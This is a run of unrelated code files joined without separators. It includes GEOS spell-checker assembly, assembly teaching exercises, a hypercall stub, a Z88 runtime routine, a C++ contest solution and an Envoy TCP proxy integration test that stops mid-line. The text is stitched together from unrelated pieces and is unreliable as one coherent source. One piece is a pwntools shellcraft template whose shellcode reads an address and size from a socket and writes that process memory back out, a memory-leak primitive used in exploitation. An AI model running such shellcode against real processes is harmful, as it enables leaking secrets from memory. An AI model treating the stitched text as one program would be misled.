EditUserDictionaryControlClass call ObjCallSuperNoLock mov di, ds:[si] add di, ds:[di].EditUserDictionaryControl_offset clr bx xchg bx, ds:[di].EUDCI_icBuff tst bx jz noUpdate call ICUpdateUser call ICExit noUpdate: mov ax, MSG_META_EDIT_USER_DICTIONARY_COMPLETED clrdw bxdi call GenControlOutputActionRegs ret EditUserDictionaryControlDismiss endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EditUserDictionaryControlInteractionCommand %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Stuck in here to put up a dialog on dismisses. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_GEN_GUP_INTERACTION_COMMAND cx - InteractionCommand RETURN: nothing ax, cx, dx, bp - destroyed ALLOWED TO DESTROY: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chris 5/ 6/94 Initial Version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if FLOPPY_BASED_USER_DICT EditUserDictionaryControlInteractionCommand method dynamic \ EditUserDictionaryControlClass, \ MSG_GEN_GUP_INTERACTION_COMMAND cmp cx, IC_DISMISS jne callSuper ; ; First check for a disk. If there is one in the drive, do nothing. ; Otherwise, we'll ask *once* for a user dictionary. 6/14/94 cbh ; push ax mov al, DOCUMENT_DRIVE_NUM call DiskRegisterDisk pop ax jnc callSuper push ax call WaitForUserDictInFloppy pop ax callSuper: mov di, offset EditUserDictionaryControlClass GOTO ObjCallSuperNoLock EditUserDictionaryControlInteractionCommand endm endif COMMENT @---------------------------------------------------------------------- ROUTINE: WaitForUserDictInFloppy SYNOPSIS: Sets up the stupid user dictionary on the ramdisk for Redwood. Here we actually wait for the user to press OK. We also put up a slightly different message, to save the dictionary. CALLED BY: EditUserDictionaryControlClose PASS: nothing RETURN: ax -- reply (IC_OK or IC_CANCEL) DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 2/19/94 Initial version ------------------------------------------------------------------------------@ if FLOPPY_BASED_USER_DICT WaitForUserDictInFloppy proc near uses bx, cx, dx, bp, si, di .enter push ds:[LMBH_handle] mov ax, (CDT_NOTIFICATION shl offset CDBF_DIALOG_TYPE) or \ (GIT_NOTIFICATION shl offset CDBF_INTERACTION_TYPE) or \ mask CDBF_SYSTEM_MODAL mov bx, offset SpellFloppySaveUserDictString ; ; Pass a bunch of params on the stack. Stack space will be released ; on return (duh). ; sub sp, size StandardDialogParams mov bp, sp mov ss:[bp].SDP_customFlags, ax mov si, bx mov bx, handle Strings call MemLock push ds mov ds, ax mov si, ds:[si] ;DS:SI <- ptr to string to display pop ds mov ss:[bp].SDP_customString.segment, ax mov ss:[bp].SDP_customString.offset, si clr ss:[bp].SDP_helpContext.segment clrdw ss:[bp].SDP_customTriggers call UserStandardDialog ;reply in ax mov bx, handle Strings call MemUnlock pop bx call MemDerefDS .leave ret WaitForUserDictInFloppy endp ; ; This declaration needed for MSG_EUDC_LOAD_DICTIONARY ; to pop up the dialog to confirm loading another user ; dictionary. ; loadOKCancelResponse StandardDialogResponseTriggerTable <2> StandardDialogResponseTriggerEntry < DiskNotFound_OK, IC_OK > StandardDialogResponseTriggerEntry < LoadDictionaryCancel, IC_DISMISS > COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EUDCLoadDictionary %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Load the user dictionary without leaving the user dictionary dialog box. CALLED BY: MSG_EUDC_LOAD_DICTIONARY PASS: *ds:si = EditUserDictionaryControlClass object ds:di = EditUserDictionaryControlClass instance data ds:bx = EditUserDictionaryControlClass object (same as *ds:si) es = segment of EditUserDictionaryControlClass ax = message # RETURN: Nothing. DESTROYED: bx, di, ax, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CuongLe 3/ 9/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EUDCLoadDictionary method dynamic EditUserDictionaryControlClass, MSG_EUDC_LOAD_DICTIONARY .enter ; ; Pop up the dialog box to confirm loading the user dictionary. ; sub sp, size StandardDialogOptrParams mov bp, sp mov ss:[bp].SDOP_customFlags, \ CustomDialogBoxFlags <1, CDT_NOTIFICATION, GIT_MULTIPLE_RESPONSE, 1> mov ss:[bp].SDOP_customString.handle, handle Strings mov ss:[bp].SDOP_customString.chunk, \ offset Strings:LoadUserDictConfirmString clr ss:[bp].SDOP_stringArg1.handle clr ss:[bp].SDOP_stringArg2.handle mov ss:[bp].SDOP_customTriggers.segment, cs mov ss:[bp].SDOP_customTriggers.offset, \ offset loadOKCancelResponse clr ss:[bp].SDOP_helpContext.segment call UserStandardDialogOptr ; ax = InteractionCommand cmp ax, IC_OK ; check if the user clicked OK button. jnz exitLoad ; exit if the user clicked Cancel button. ; ; Free the previous userDictList ; clr bx xchg bx, ds:[di].EUDCI_userDictList ; bx = EUDCI_userDictList call MemFree ; ; Close the current edit box first ; mov ax,MSG_EUDC_CLOSE_EDIT_BOX call ObjCallInstanceNoLock ; ; Then load a new user dictionary ; mov ax, MSG_GEN_INTERACTION_INITIATE call ObjCallInstanceNoLock exitLoad: .leave ret EUDCLoadDictionary endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EUDCCloseEditBox %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Close Edit User Dictionary Dialog Box without saving any changes. CALLED BY: MSG_EUDC_LOAD_DICTIONARY PASS: *ds:si = EditUserDictionaryControlClass object ds:di = EditUserDictionaryControlClass instance data ds:bx = EditUserDictionaryControlClass object (same as *ds:si) es = segment of EditUserDictionaryControlClass ax = message # RETURN: Nothing DESTROYED: Nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CuongLe 3/10/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EUDCCloseEditBox method dynamic EditUserDictionaryControlClass, MSG_EUDC_CLOSE_EDIT_BOX .enter mov ax, MSG_GEN_GUP_INTERACTION_COMMAND mov cx, IC_DISMISS mov di, offset EditUserDictionaryControlClass GOTO ObjCallSuperNoLock .leave ret EUDCCloseEditBox endm endif SpellControlCode ends
assume ds:datasg,cs:codesg,ss:stacksg datasg segment db 'w','e','l','c','o','m','e',' ','t','o',' ','m','a','s','m','!' db 16 dup (00000010b) db 'w','e','l','c','o','m','e',' ','t','o',' ','m','a','s','m','!' db 16 dup (00001010b) db 'w','e','l','c','o','m','e',' ','t','o',' ','m','a','s','m','!' db 16 dup (10011110b) datasg ends stacksg segment db 16 dup(0) stacksg ends codesg segment start: mov ax,0b800h mov ds,ax mov ax,datasg mov es,ax mov ax,stacksg mov ss,ax mov sp,16 mov bx,160*11 mov si,0 mov cx,3 s: push cx mov di,80-16 mov cx,16 s0: mov dl,cs:[si] mov ds:[bx+di],dl inc di mov dl,es:[si+16] mov ds:[bx+di],dl inc di inc si loop s0 add si,16 add bx,160 pop cx loop s mov ax,4c00h INT 21h codesg ends end start
TITLE Carry Flag ;-------------------- ; Autor: Heitor Souza ; Data: 15/07/2021 ; ; Capítulo 4 Exercício 1 ; Descrição: Programa que usa adição e subtração para setar e limpar a flag Carry. ;-------------------- INCLUDE Irvine32.inc .code main PROC mov eax, 0 mov al, 0FFh add al, 1 call DumpRegs mov eax, 1 sub eax, 2 call DumpRegs add eax, 1 call DumpRegs exit main ENDP END main
;----------------------------------------------------------------------------- [bits 64] ; Global symbols global _start ;----------------------------------------------------------------------------- section .code ;================================================================================================================================ _start: push rcx push rdx push rbx push rsi push rdi mov rax, rcx ; Magic/tag mov rcx, rdx ; Maximum size mov rdx, r8 ; Buffer address mov rbx, r9 ; Hypercall value mov rsi, [rsp + 80] mov rdi, [rsp + 88] vmcall mov rax, rdx pop rdi pop rsi pop rbx pop rdx pop rcx retn
; Z88 Small C+ Run time Library ; Moved functions over to proper libdefs ; To make startup code smaller and neater! ; ; 6/9/98 djm XLIB l_lt ; ; DE < HL [signed] ; set carry if true .l_lt ld a,h add a,$80 ld b,a ld a,d add a,$80 cp b ret nz ld a,e cp l ret ; call l_cmp ; ret c ; ret
#include "game/data/screen.asm"
<% from pwnlib.shellcraft import amd64 %> <% from pwnlib.shellcraft import common %> <%page args="readsock=0, writesock=1"/> <%docstring> Reads from a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer. </%docstring> <% after = common.label("after") before = common.label("before") %> ${before}: /* Read address / size tuples from fd ${readsock}, and then write the data to fd ${writesock} */ ${amd64.linux.readptr(readsock, 'rsi')} push rsi ${amd64.linux.readptr(readsock, 'rdx')} pop rsi test rdx, rdx jz ${after} ${amd64.linux.syscall('SYS_write', writesock, 'rsi', 'rdx')} jmp ${before} ${after}:
#include<bits/stdc++.h> using namespace std; #define fori(i,a,b) for (long int i = a; i <= b ; ++i) #define ford(i,a,b) for(long int i = a;i >= b ; --i) #define mk make_pair #define mod 1000000007 #define pb push_back #define vec vector<long long int> #define ll long long #define rnd mt19937_64 rng(chrono::high_resolution_clock::now().time_since_epoch().count()) #define pi pair<int,int> #define sc second #define fs first vector<ll> h1(100005), h2(100005); vector<ll> dp1(100005), dp2(100005); ll n; void solve() { ll max1, max2; fori(i,1,n) { if (i == 1) { dp1[i] = h1[i]; dp2[i] = h2[i]; max1 = h1[i];max2 = h2[i]; } else { dp1[i] = h1[i] + max2; dp2[i] = h2[i] + max1; max1 = max(dp1[i],max1); max2 = max(dp2[i],max2); } } cout << max(max1,max2) << endl; } int main() { ios_base::sync_with_stdio(false); cin.tie(NULL); cin >> n; fori(i,1,n) cin >> h1[i]; fori(j,1,n) cin >> h2[j]; solve(); return 0; }
#include "test/integration/tcp_proxy_integration_test.h" #include <memory> #include "envoy/config/bootstrap/v3/bootstrap.pb.h" #include "envoy/config/cluster/v3/cluster.pb.h" #include "envoy/config/core/v3/base.pb.h" #include "envoy/config/filter/network/tcp_proxy/v2/tcp_proxy.pb.h" #include "envoy/extensions/access_loggers/file/v3/file.pb.h" #include "envoy/extensions/filters/network/tcp_proxy/v3/tcp_proxy.pb.h" #include "common/config/api_version.h" #include "common/network/utility.h" #include "extensions/transport_sockets/tls/context_manager_impl.h" #include "test/integration/ssl_utility.h" #include "test/integration/utility.h" #include "gtest/gtest.h" using testing::_; using testing::Invoke; using testing::MatchesRegex; using testing::NiceMock; namespace Envoy { namespace { INSTANTIATE_TEST_SUITE_P(IpVersions, TcpProxyIntegrationTest, testing::ValuesIn(TestEnvironment::getIpVersionsForTest()), TestUtility::ipTestParamsToString); void TcpProxyIntegrationTest::initialize() { config_helper_.renameListener("tcp_proxy"); BaseIntegrationTest::initialize(); } // Test upstream writing before downstream downstream does. TEST_P(TcpProxyIntegrationTest, TcpProxyUpstreamWritesFirst) { initialize(); IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort("tcp_proxy")); FakeRawConnectionPtr fake_upstream_connection; ASSERT_TRUE(fake_upstreams_[0]->waitForRawConnection(fake_upstream_connection)); ASSERT_TRUE(fake_upstream_connection->write("hello")); tcp_client->waitForData("hello"); // Make sure inexact matches work also on data already received. tcp_client->waitForData("ello", false); // Make sure length based wait works for the data already received tcp_client->waitForData(5); tcp_client->waitForData(4); // Drain part of the received message tcp_client->clearData(2); tcp_client->waitForData("llo"); tcp_client->waitForData(3); tcp_client->write("hello"); ASSERT_TRUE(fake_upstream_connection->waitForData(5)); ASSERT_TRUE(fake_upstream_connection->write("", true)); tcp_client->waitForHalfClose(); tcp_client->write("", true); ASSERT_TRUE(fake_upstream_connection->waitForHalfClose()); ASSERT_TRUE(fake_upstream_connection->waitForDisconnect()); } // Test proxying data in both directions, and that all data is flushed properly // when there is an upstream disconnect. TEST_P(TcpProxyIntegrationTest, TcpProxyUpstreamDisconnect) { initialize(); IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort("tcp_proxy")); tcp_client->write("hello"); FakeRawConnectionPtr fake_upstream_connection; ASSERT_TRUE(fake_upstreams_[0]->waitForRawConnection(fake_upstream_connection)); ASSERT_TRUE(fake_upstream_connection->waitForData(5)); ASSERT_TRUE(fake_upstream_connection->write("world")); ASSERT_TRUE(fake_upstream_connection->close()); ASSERT_TRUE(fake_upstream_connection->waitForDisconnect()); tcp_client->waitForHalfClose(); tcp_client->close(); EXPECT_EQ("world", tcp_client->data()); } // Test proxying data in both directions, and that all data is flushed properly // when the client disconnects. TEST_P(TcpProxyIntegrationTest, TcpProxyDownstreamDisconnect) { initialize(); IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort("tcp_proxy")); tcp_client->write("hello"); FakeRawConnectionPtr fake_upstream_connection; ASSERT_TRUE(fake_upstreams_[0]->waitForRawConnection(fake_upstream_connection)); ASSERT_TRUE(fake_upstream_connection->waitForData(5)); ASSERT_TRUE(fake_upstream_connection->write("world")); tcp_client->waitForData("world"); tcp_client->write("hello", true); ASSERT_TRUE(fake_upstream_connection->waitForData(10)); ASSERT_TRUE(fake_upstream_connection->waitForHalfClose()); ASSERT_TRUE(fake_upstream_connection->write("", true)); ASSERT_TRUE(fake_upstream_connection->waitForDisconnect(true)); tcp_client->waitForDisconnect(); } TEST_P(TcpProxyIntegrationTest, TcpProxyLargeWrite) { config_helper_.setBufferLimits(1024, 1024); initialize(); std::string data(1024 * 16, 'a'); IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort("tcp_proxy")); tcp_client->write(data); FakeRawConnectionPtr fake_upstream_connection; ASSERT_TRUE(fake_upstreams_[0]->waitForRawConnection(fake_upstream_connection)); ASSERT_TRUE(fake_upstream_connection->waitForData(data.size())); ASSERT_TRUE(fake_upstream_connection->write(data)); tcp_client->waitForData(data); tcp_client->close(); ASSERT_TRUE(fake_upstream_connection->waitForHalfClose()); ASSERT_TRUE(fake_upstream_connection->close()); ASSERT_TRUE(fake_upstream_connection->waitForDisconnect()); uint32_t upstream_pauses = test_server_->counter("cluster.cluster_0.upstream_flow_control_paused_reading_total") ->value(); uint32_t upstream_resumes = test_server_->counter("cluster.cluster_0.upstream_flow_control_resumed_reading_total") ->value(); EXPECT_EQ(upstream_pauses, upstream_resumes); uint32_t downstream_pauses = test_server_->counter("tcp.tcp_stats.downstream_flow_control_paused_reading_total")->value(); uint32_t downstream_resumes = test_server_->counter("tcp.tcp_stats.downstream_flow_control_resumed_reading_total")->value(); EXPECT_EQ(downstream_pauses, downstream_resumes); } // Test that a downstream flush works correctly (all data is flushed) TEST_P(TcpProxyIntegrationTest, TcpProxyDownstreamFlush) { // Use a very large size to make sure it is larger than the kernel socket read buffer. const uint32_t size = 50 * 1024 * 1024; config_helper_.setBufferLimits(size / 4, size / 4); initialize(); std::string data(size, 'a'); IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort("tcp_proxy")); FakeRawConnectionPtr fake_upstream_connection; ASSERT_TRUE(fake_upstreams_[0]->waitForRawConnection(fake_upstream_connection)); tcp_client->readDisable(true); tcp_client->write("", true); // This ensures that readDisable(true) has been run on it's thread // before tcp_client starts writing. ASSERT_TRUE(fake_upstream_connection->waitForHalfClose()); ASSERT_TRUE(fake_upstream_connection->write(data, true)); test_server_->waitForCounterGe("cluster.cluster_0.upstream_flow_control_paused_reading_total", 1); EXPECT_EQ(test_server_->counter("cluster.cluster_0.upstream_flow_control_resumed_reading_total") ->value(), 0); tcp_client->readDisable(false); tcp_client->waitForData(data); tcp_client->waitForHalfClose(); ASSERT_TRUE(fake_upstream_connection->waitForHalfClose()); uint32_t upstream_pauses = test_server_->counter("cluster.cluster_0.upstream_flow_control_paused_reading_total") ->value(); uint32_t upstream_resumes = test_server_->counter("cluster.cluster_0.upstream_flow_control_resumed_reading_total") ->value(); EXPECT_GE(upstream_pauses, upstream_resumes); EXPECT_GT(upstream_resumes, 0); } // Test that an upstream flush works correctly (all data is flushed) TEST_P(TcpProxyIntegrationTest, TcpProxyUpstreamFlush) { // Use a very large size to make sure it is larger than the kernel socket read buffer. const uint32_t size = 50 * 1024 * 1024; config_helper_.setBufferLimits(size, size); initialize(); std::string data(size, 'a'); IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort("tcp_proxy")); FakeRawConnectionPtr fake_upstream_connection; ASSERT_TRUE(fake_upstreams_[0]->waitForRawConnection(fake_upstream_connection)); ASSERT_TRUE(fake_upstream_connection->readDisable(true)); ASSERT_TRUE(fake_upstream_connection->write("", true)); // This ensures that fake_upstream_connection->readDisable has been run on it's thread // before tcp_client starts writing. tcp_client->waitForHalfClose(); tcp_client->write(data, true); test_server_->waitForGaugeEq("tcp.tcp_stats.upstream_flush_active", 1); ASSERT_TRUE(fake_upstream_connection->readDisable(false)); ASSERT_TRUE(fake_upstream_connection->waitForData(data.size())); ASSERT_TRUE(fake_upstream_connection->waitForHalfClose()); ASSERT_TRUE(fake_upstream_connection->waitForDisconnect()); tcp_client->waitForHalfClose(); EXPECT_EQ(test_server_->counter("tcp.tcp_stats.upstream_flush_total")->value(), 1); test_server_->waitForGaugeEq("tcp.tcp_stats.upstream_flush_active", 0); } // Test that Envoy doesn't crash or assert when shutting down with an upstream flush active TEST_P(TcpProxyIntegrationTest, TcpProxyUpstreamFlushEnvoyExit) { // Use a very large size to make sure it is larger than the kernel socket read buffer. const uint32_t size = 50 * 1024 * 1024; config_helper_.setBufferLimits(size, size); initialize(); std::string data(size, 'a'); IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort("tcp_proxy")); FakeRawConnectionPtr fake_upstream_connection; ASSERT_TRUE(fake_upstreams_[0]->waitForRawConnection(fake_upstream_connection)); ASSERT_TRUE(fake_upstream_connection->readDisable(true)); ASSERT_TRUE(fake_upstream_connection->write("", true)); // This ensures that fake_upstream_connection->readDisable has been run on it's thread // before tcp_client starts writing. tcp_client->waitForHalfClose(); tcp_client->write(data, true); test_server_->waitForGaugeEq("tcp.tcp_stats.upstream_flush_active", 1); test_server_.reset(); ASSERT_TRUE(fake_upstream_connection->close()); ASSERT_TRUE(fake_upstream_connection->waitForDisconnect()); // Success criteria is that no ASSERTs fire and there are no leaks. } TEST_P(TcpProxyIntegrationTest, AccessLog) { std::string access_log_path = TestEnvironment::temporaryPath( fmt::format("access_log{}.txt", GetParam() == Network::Address::IpVersion::v4 ? "v4" : "v6")); config_helper_.addConfigModifier([&](envoy::config::bootstrap::v3::Bootstrap& bootstrap) -> void { auto* listener = bootstrap.mutable_static_resources()->mutable_listeners(0); auto* filter_chain = listener->mutable_filter_chains(0); auto* config_blob = filter_chain->mutable_filters(0)->mutable_typed_config(); ASSERT_TRUE( config_blob->Is<API_NO_BOOST(envoy::config::filter::network::tcp_proxy::v2::TcpProxy)>()); auto tcp_proxy_config = MessageUtil::anyConvert<API_NO_BOOST( envoy::config::filter::network::tcp_proxy::v2::TcpProxy)>(*config_blob); auto* access_log = tcp_proxy_config.add_access_log(); access_log->set_name("accesslog"); envoy::extensions::access_loggers::file::v3::FileAccessLog access_log_config; access_log_config.set_path(access_log_path); access_log_config.set_format( "upstreamlocal=%UPSTREAM_LOCAL_ADDRESS% " "upstreamhost=%UPSTREAM_HOST% downstream=%DOWNSTREAM_REMOTE_ADDRESS_WITHOUT_PORT% " "sent=%BYTES_SENT% received=%BYTES_RECEIVED%\n"); access_log->mutable_typed_config()->PackFrom(access_log_config); config_blob->PackFrom(tcp_proxy_config); }); initialize(); IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort("tcp_proxy")); FakeRawConnectionPtr fake_upstream_connection; ASSERT_TRUE(fake_upstreams_[0]->waitForRawConnection(fake_upstream_connection)); ASSERT_TRUE(fake_upstream_connection->write("hello")); tcp_client->waitForData("hello"); ASSERT_TRUE(fake_upstream_connection->write("", true)); tcp_client->waitForHalfClose(); tcp_client->write("", true); ASSERT_TRUE(fake_upstream_connection->waitForHalfClose()); ASSERT_TRUE(fake_upstream_connection->waitForDisconnect()); std::string log_result; // Access logs only get flushed to disk periodically, so poll until the log is non-empty do { log_result = api_->fileSystem().fileReadToEnd(access_log_path); } while (log_result.empty()); // Regex matching localhost:port #ifndef GTEST_USES_SIMPLE_RE const std::string ip_port_regex = (GetParam() == Network::Address::IpVersion::v4) ? R"EOF(127\.0\.0\.1:[0-9]+)EOF" : R"EOF(\[::1\]:[0-9]+)EOF"; #else const std::string ip_port_regex = (GetParam() == Network::Address::IpVersion::v4) ? R"EOF(127\.0\.0\.1:\d+)EOF" : R"EOF(\[::1\]:\d+)EOF"; #endif const std::string ip_regex = (GetParam() == Network::Address::IpVersion::v4) ? R"EOF(127\.0\.0\.1)EOF" : R"EOF(::1)EOF"; // Test that all three addresses were populated correctly. Only check the first line of // log output for simplicity. EXPECT_THAT(log_result, MatchesRegex(fmt::format( "upstreamlocal={0} upstreamhost={0} downstream={1} sent=5 received=0\r?\n.*", ip_port_regex, ip_regex))); } // Test that the server shuts down without crashing when connections are open. TEST_P(TcpProxyIntegrationTest, ShutdownWithOpenConnections) { config_helper_.addConfigModifier([&](envoy::config::bootstrap::v3::Bootstrap& bootstrap) -> void { auto* static_resources = bootstrap.mutable_static_resources(); for (int i = 0; i < static_resources->clusters_size(); ++i) { auto* cluster = static_resources->mutable_clusters(i); cluster->set_close_connections_on_host_health_failure(true); } }); initialize(); IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort("tcp_proxy")); tcp_client->write("hello"); FakeRawConnectionPtr fake_upstream_connection; ASSERT_TRUE(fake_upstreams_[0]->waitForRawConnection(fake_upstream_connection)); ASSERT_TRUE(fake_upstream_connection->waitForData(5)); ASSERT_TRUE(fake_upstream_connection->write("world")); tcp_client->waitForData("world"); tcp_client->write("hello", false); ASSERT_TRUE(fake_upstream_connection->waitForData(10)); test_server_.reset(); ASSERT_TRUE(fake_upstream_connection->waitForHalfClose()); ASSERT_TRUE(fake_upstream_connection->close()); ASSERT_TRUE(fake_upstream_connection->waitForDisconnect(true)); tcp_client->waitForHalfClose(); tcp_client->close(); // Success criteria is that no ASSERTs fire and there are no leaks. } TEST_P(TcpProxyIntegrationTest, TestIdletimeoutWithNoData) { autonomous_upstream_ = true; enable_half_close_ = false; config_helper_.addConfigModifier([&](envoy::config::bootstrap::v3::Bootstrap& bootstrap) -> void { auto* listener = bootstrap.mutable_static_resources()->mutable_listeners(0); auto* filter_chain = listener->mutable_filter_chains(0); auto* config_blob = filter_chain->mutable_filters(0)->mutable_typed_config(); ASSERT_TRUE( config_blob->Is<API_NO_BOOST(envoy::config::filter::network::tcp_proxy::v2::TcpProxy)>()); auto tcp_proxy_config = MessageUtil::anyConvert<API_NO_BOOST( envoy::config::filter::network::tcp_proxy::v2::TcpProxy)>(*config_blob); tcp_proxy_config.mutable_idle_timeout()->set_nanos( std::chrono::duration_cast<std::chrono::nanoseconds>(std::chrono::milliseconds(100)) .count()); config_blob->PackFrom(tcp_proxy_config); }); initialize(); IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort("tcp_proxy")); tcp_client->waitForDisconnect(true); } TEST_P(TcpProxyIntegrationTest, TestIdletimeoutWithLargeOutstandingData) { config_helper_.setBufferLimits(1024, 1024); enable_half_close_ = false; config_helper_.addConfigModifier([&](envoy::config::bootstrap::v3::Bootstrap& bootstrap) -> void { auto* listener = bootstrap.mutable_static_resources()->mutable_listeners(0); auto* filter_chain = listener->mutable_filter_chains(0); auto* config_blob = filter_chain->mutable_filters(0)->mutable_typed_config(); ASSERT_TRUE( config_blob->Is<API_NO_BOOST(envoy::config::filter::network::tcp_proxy::v2::TcpProxy)>()); auto tcp_proxy_config = MessageUtil::anyConvert<API_NO_BOOST( envoy::config::filter::network::tcp_proxy::v2::TcpProxy)>(*config_blob); tcp_proxy_config.mutable_idle_timeout()->set_nanos( std::chrono::duration_cast<std::chrono::nanoseconds>(std::chrono::milliseconds(500)) .count()); config_blob->PackFrom(tcp_proxy_config); }); initialize(); IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort("tcp_proxy")); FakeRawConnectionPtr fake_upstream_connection; ASSERT_TRUE(fake_upstreams_[0]->waitForRawConnection(fake_upstream_connection)); std::string data(1024 * 16, 'a'); tcp_client->write(data); ASSERT_TRUE(fake_upstream_connection->write(data)); tcp_client->waitForDisconnect(true); ASSERT_TRUE(fake_upstream_connection->waitForDisconnect(true)); } class TcpProxyMetadataMatchIntegrationTest : public TcpProxyIntegrationTest { public: void initialize(); void expectEndpointToMatchRoute(); void expectEndpointNotToMatchRoute(); envoy::config::core::v3::Metadata lbMetadata(std::map<std::string, std::string> values); envoy::extensions::filters::network::tcp_proxy::v3::TcpProxy tcp_proxy_; envoy::config::core::v3::Metadata endpoint_metadata_; }; envoy::config::core::v3::Metadata TcpProxyMetadataMatchIntegrationTest::lbMetadata(std::map<std::string, std::string> values) { ProtobufWkt::Struct map; auto* mutable_fields = map.mutable_fields(); ProtobufWkt::Value value; std::map<std::string, std::string>::iterator it; for (it = values.begin(); it != values.end(); it++) { value.set_string_value(it->second); mutable_fields->insert({it->first, value}); } envoy::config::core::v3::Metadata metadata; (*metadata.mutable_filter_metadata())[Envoy::Config::MetadataFilters::get().ENVOY_LB] = map; return metadata; } void TcpProxyMetadataMatchIntegrationTest::initialize() { config_helper_.addConfigModifier([&](envoy::config::bootstrap::v3::Bootstrap& bootstrap) { auto* static_resources = bootstrap.mutable_static_resources(); ASSERT(static_resources->listeners_size() == 1); static_resources->mutable_listeners(0) ->mutable_filter_chains(0) ->mutable_filters(0) ->mutable_typed_config() ->PackFrom(tcp_proxy_); ASSERT(static_resources->clusters_size() == 1); auto* cluster_0 = static_resources->mutable_clusters(0); cluster_0->Clear(); cluster_0->set_name("cluster_0"); cluster_0->set_type(envoy::config::cluster::v3::Cluster::STATIC); cluster_0->set_lb_policy(envoy::config::cluster::v3::Cluster::ROUND_ROBIN); auto* lb_subset_config = cluster_0->mutable_lb_subset_config(); lb_subset_config->set_fallback_policy( envoy::config::cluster::v3::Cluster::LbSubsetConfig::NO_FALLBACK); auto* subset_selector = lb_subset_config->add_subset_selectors(); subset_selector->add_keys("role"); subset_selector->add_keys("version"); subset_selector->add_keys("stage"); auto* load_assignment = cluster_0->mutable_load_assignment(); load_assignment->set_cluster_name("cluster_0"); auto* locality_lb_endpoints = load_assignment->add_endpoints(); auto* lb_endpoint = locality_lb_endpoints->add_lb_endpoints(); lb_endpoint->mutable_endpoint()->mutable_address()->mutable_socket_address()->set_address( Network::Test::getLoopbackAddressString(version_)); lb_endpoint->mutable_metadata()->MergeFrom(endpoint_metadata_); }); TcpProxyIntegrationTest::initialize(); } // Verifies successful connection. void TcpProxyMetadataMatchIntegrationTest::expectEndpointToMatchRoute() { IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort("tcp_proxy")); tcp_client->write("hello"); FakeRawConnectionPtr fake_upstream_connection; ASSERT_TRUE(fake_upstreams_[0]->waitForRawConnection(fake_upstream_connection)); ASSERT_TRUE(fake_upstream_connection->waitForData(5)); ASSERT_TRUE(fake_upstream_connection->write("world")); tcp_client->waitForData("world"); tcp_client->write("hello", true); ASSERT_TRUE(fake_upstream_connection->waitForData(10)); ASSERT_TRUE(fake_upstream_connection->waitForHalfClose()); ASSERT_TRUE(fake_upstream_connection->write("", true)); ASSERT_TRUE(fake_upstream_connection->waitForDisconnect(true)); tcp_client->waitForDisconnect(); test_server_->waitForCounterGe("cluster.cluster_0.lb_subsets_selected", 1); } // Verifies connection failure. void TcpProxyMetadataMatchIntegrationTest::expectEndpointNotToMatchRoute() { IntegrationTcpClientPtr tcp_client = makeTcpConnection(lookupPort("tcp_proxy")); tcp_client->write("hello"); // TODO(yskopets): 'tcp_client->waitForDisconnect(true);' gets stuck indefinitely on Linux builds, // e.g. on 'envoy-linux (bazel compile_time_options)' and 'envoy-linux (bazel release)' // tcp_client->waitForDisconnect(true); test_server_->waitForCounterGe("cluster.cluster_0.upstream_cx_none_healthy", 1); test_server_->waitForCounterEq("cluster.cluster_0.lb_subsets_selected", 0); tcp_client->close(); } INSTANTIATE_TEST_SUITE_P(IpVersions, TcpProxyMetadataMatchIntegrationTest, testing::ValuesIn(TestEnvironment::getIpVersionsForTest()), TestUtility::ipTestParamsToString); // Test subset load balancing for a regular cluster when endpoint selector is defined at the top // level. TEST_P(TcpProxyMetadataMatchIntegrationTest, EndpointShouldMatchSingleClusterWithTopLevelMetadataMatch) { tcp_proxy_.set_stat_prefix("tcp_stats"); tcp_proxy_.set_cluster("cluster_0"); tcp_proxy_.mutable_metadata_match()->MergeFrom( lbMetadata({{"role", "master"}, {"version", "v1"}, {"stage", "prod"}})); endpoint_metadata_ = lbMetadata({{"role", "master"}, {"version", "v1"}, {"stage", "prod"}}); initialize(); expectEndpointToMatchRoute(); } // Test subset load balancing for a deprecated_v1 route when endpoint selector is 